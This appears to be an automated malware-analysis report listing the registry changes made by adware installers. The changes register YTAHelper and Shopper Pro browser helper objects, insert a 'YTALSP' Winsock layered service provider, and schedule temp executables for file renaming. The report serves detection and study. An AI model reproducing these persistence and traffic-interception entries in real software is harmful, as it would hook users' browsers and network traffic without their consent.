[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process regsvr32.exe:3328 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:2956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The process lspinst.exe:3992 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LKekjRXx|QYWxfDd`N[AtsXnDWskH"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "K\K{RWglh|ac`_w}Yu`fbISI`@Ndl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJVqJXaKptbKoP"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`MRLXEStLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbb"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3828 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1022"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "K\K{RWglh|acP_w}Yu`fRISI`@Ndl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJIqJXaK{[_^mp"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "19"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`MRLXEStLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbb"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LKekjRXx|QYWxfDd`N[AtsXnDWskH"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001B]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001C]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001A]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process YTAHEL~1.EXE:3272 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.25.11, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\521.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\521.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\AccDownload.dll,"

The process Xqaaz.exe:3480 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "d5d8d8a61601751d467a5854a16ce35aIE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrPublisherId" = "20891"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionTime" = "B9 0D ED 8F 7C 80 D0 01"

